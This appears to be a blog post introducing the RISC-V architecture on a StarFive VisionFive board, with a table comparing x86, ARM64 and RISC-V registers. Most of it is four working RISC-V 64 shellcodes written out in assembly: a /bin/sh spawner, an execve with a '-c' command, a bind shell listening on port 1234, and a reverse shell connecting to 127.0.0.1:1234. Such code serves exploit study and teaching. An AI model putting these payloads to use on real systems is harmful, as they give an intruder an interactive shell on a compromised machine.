RISC-V (pronounced “risk-five” ) is an open standard instruction set architecture (ISA) based on established reduced instruction set computer (RISC) principles. Unlike most other ISA designs, RISC-V is provided under open source licenses that do not require fees to use.
To learn more about the RISC-V architecture, I recently bought a StarFive VisionFive Single Board computer. It’s slightly more expensive than the RPI that runs on ARM, but it’s the closest thing to an RPI we have available right now. It uses the SiFive’s U74 64-bit RISC-V processor core which is similar to the ARM Cortex-A55. Readers without access to a board like this have the option of using QEMU.
You can view the shellcodes here.
The RISC-V ISA (excluding extensions) is of course much smaller than the ARM ISA, but that also makes it easier to learn IMHO. The reduced set of instructions is more suitable for beginners learning their first assembly language. From a business perspective, and I accept I’m not an expert on such issues, the main advantages of RISC-V over ARM is that it’s open source, has no licensing fees and is sanction-free. For those reasons, it may very well become more popular than ARM in future. We’ll have to wait and see.
X86 (AMD64) | ARM64 | RISC-V 64 | |
---|---|---|---|
Registers | RAX-R15 | X0-X31 | A0-A31 |
Syscall Register | RAX | X8 | A7 |
Return Register | RAX | X0 | A0 |
Zero Register | N/A | XMR | X0 |
Relative Addressing | LEA | ADR | LA |
Data Transfer (Register) | MOV | MOV | MV |
Data Transfer (Immediate) | MOV | MOV | LI |
Execute System Call | SYSCALL | SVC | ECALL |
# 48 bytes .include "include.inc" .global _start .text _start: # execve("/bin/sh", NULL, NULL); li a7, SYS_execve mv a2, x0 # NULL mv a1, x0 # NULL li a3, BINSH # "/bin/sh" sd a3, (sp) # stores string on stack mv a0, sp ecall
# 112 bytes .include "include.inc" .global _start .text _start: # execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL); addi sp, sp, -64 # allocate 64 bytes of stack li a7, SYS_execve li a0, BINSH # a0 = "/bin/sh\0" sd a0, (sp) # store "/bin/sh" on the stack mv a0, sp li a1, 0x632D # a1 = "-c" sd a1, 8(sp) # store "-c" on the stack addi a1, sp, 8 la a2, cmd # a2 = cmd sd a0, 16(sp) sd a1, 24(sp) sd a2, 32(sp) sd x0, 40(sp) addi a1, sp, 16 # a1 = {"/bin/sh", "-c", cmd, NULL} mv a2, x0 # penv = NULL ecall cmd: .asciz "echo Hello, World!"
# 176 bytes .include "include.inc" .equ PORT, 1234 .global _start .text _start: addi sp, sp, -16 # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); li a7, SYS_socket li a2, IPPROTO_IP li a1, SOCK_STREAM li a0, AF_INET ecall mv a3, a0 # bind(s, &sa, sizeof(sa)); li a7, SYS_bind li a2, 16 li a1, (((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET) sd a1, (sp) sd x0, 8(sp) mv a1, sp ecall # listen(s, 1); li a7, SYS_listen li a1, 1 mv a0, a3 ecall # r = accept(s, 0, 0); li a7, SYS_accept mv a2, x0 mv a1, x0 mv a0, a3 ecall mv a4, a0 # in this order # # dup3(s, STDERR_FILENO, 0); # dup3(s, STDOUT_FILENO, 0); # dup3(s, STDIN_FILENO, 0); li a7, SYS_dup3 li a1, STDERR_FILENO + 1 c_dup: mv a0, a4 addi a1, a1, -1 ecall bne a1, zero, c_dup # execve("/bin/sh", NULL, NULL); li a7, SYS_execve mv a2, x0 mv a1, x0 li a0, BINSH sd a0, (sp) mv a0, sp ecall
# 140 bytes .include "include.inc" .equ PORT, 1234 .equ HOST, 0x0100007F # 127.0.0.1 .global _start .text _start: addi sp, sp, -16 # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); li a7, SYS_socket li a2, IPPROTO_IP li a1, SOCK_STREAM li a0, AF_INET ecall mv a3, a0 # a3 = s # connect(s, &sa, sizeof(sa)); li a7, SYS_connect li a2, 16 li a1, ((HOST << 32) | ((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET) sd a1, (sp) mv a1, sp # a1 = &sa ecall # in this order # # dup3(s, STDERR_FILENO, 0); # dup3(s, STDOUT_FILENO, 0); # dup3(s, STDIN_FILENO, 0); li a7, SYS_dup3 li a1, STDERR_FILENO + 1 c_dup: mv a2, x0 mv a0, a3 addi a1, a1, -1 ecall bne a1, zero, c_dup # execve("/bin/sh", NULL, NULL); li a7, SYS_execve li a0, BINSH sd a0, (sp) mv a0, sp ecall